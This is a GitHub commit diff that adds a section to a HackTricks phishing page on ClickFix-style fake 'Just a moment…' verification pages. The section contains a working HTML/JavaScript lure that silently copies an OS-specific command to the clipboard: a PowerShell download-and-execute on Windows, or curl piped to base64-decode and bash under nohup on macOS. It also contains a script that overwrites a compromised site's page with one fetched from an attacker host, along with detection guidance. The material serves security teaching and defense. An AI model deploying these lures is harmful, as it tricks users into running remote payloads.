Skip to content

Commit afa38ea

Browse files
authored
Merge pull request #1472 from HackTricks-wiki/update_The_ClickFix_Factory__First_Exposure_of_IUAM_Click_20251008_124417
The ClickFix Factory First Exposure of IUAM ClickFix Generat...
2 parents 21437a0 + 48196a6 commit afa38ea

File tree

1 file changed

+72
-1
lines changed

1 file changed

+72
-1
lines changed

src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md

Lines changed: 72 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -112,6 +112,76 @@ Blue-teams can combine clipboard, process-creation and registry telemetry to pin
112112
* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
113113
* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.
114114

115+
## IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
116+
117+
Recent campaigns mass-produce fake CDN/browser verification pages ("Just a moment…", IUAM-style) that coerce users into copying OS-specific commands from their clipboard into native consoles. This pivots execution out of the browser sandbox and works across Windows and macOS.
118+
119+
Key traits of the builder-generated pages
120+
- OS detection via `navigator.userAgent` to tailor payloads (Windows PowerShell/CMD vs. macOS Terminal). Optional decoys/no-ops for unsupported OS to maintain the illusion.
121+
- Automatic clipboard-copy on benign UI actions (checkbox/Copy) while the visible text may differ from the clipboard content.
122+
- Mobile blocking and a popover with step-by-step instructions: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
123+
- Optional obfuscation and single-file injector to overwrite a compromised site’s DOM with a Tailwind-styled verification UI (no new domain registration required).
124+
125+
Example: clipboard mismatch + OS-aware branching
126+
```html
127+
<div class="space-y-2">
128+
<label class="inline-flex items-center space-x-2">
129+
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
130+
</label>
131+
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
132+
</div>
133+
<script>
134+
const ua = navigator.userAgent;
135+
const isWin = ua.includes('Windows');
136+
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
137+
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
138+
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
139+
const shown = 'copy this: echo ok'; // benign-looking string on screen
140+
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
141+
142+
function copyReal() {
143+
// UI shows a harmless string, but clipboard gets the real command
144+
navigator.clipboard.writeText(real).then(()=>{
145+
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
146+
});
147+
}
148+
149+
document.getElementById('chk').addEventListener('click', copyReal);
150+
</script>
151+
```
152+
153+
macOS persistence of the initial run
154+
- Use `nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &` so execution continues after the terminal closes, reducing visible artifacts.
155+
156+
In-place page takeover on compromised sites
157+
```html
158+
<script>
159+
(async () => {
160+
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
161+
document.documentElement.innerHTML = html; // overwrite DOM
162+
const s = document.createElement('script');
163+
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
164+
document.head.appendChild(s);
165+
})();
166+
</script>
167+
```
168+
169+
Detection & hunting ideas specific to IUAM-style lures
170+
- Web: Pages that bind Clipboard API to verification widgets; mismatch between displayed text and clipboard payload; `navigator.userAgent` branching; Tailwind + single-page replace in suspicious contexts.
171+
- Windows endpoint: `explorer.exe``powershell.exe`/`cmd.exe` shortly after a browser interaction; batch/MSI installers executed from `%TEMP%`.
172+
- macOS endpoint: Terminal/iTerm spawning `bash`/`curl`/`base64 -d` with `nohup` near browser events; background jobs surviving terminal close.
173+
- Correlate `RunMRU` Win+R history and clipboard writes with subsequent console process creation.
174+
175+
See also for supporting techniques
176+
177+
{{#ref}}
178+
clone-a-website.md
179+
{{#endref}}
180+
181+
{{#ref}}
182+
homograph-attacks.md
183+
{{#endref}}
184+
115185
## Mitigations
116186

117187
1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
@@ -132,5 +202,6 @@ Blue-teams can combine clipboard, process-creation and registry telemetry to pin
132202
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
133203
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
134204
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
205+
- [The ClickFix Factory: First Exposure of IUAM ClickFix Generator](https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/)
135206

136-
{{#include ../../banners/hacktricks-training.md}}
207+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)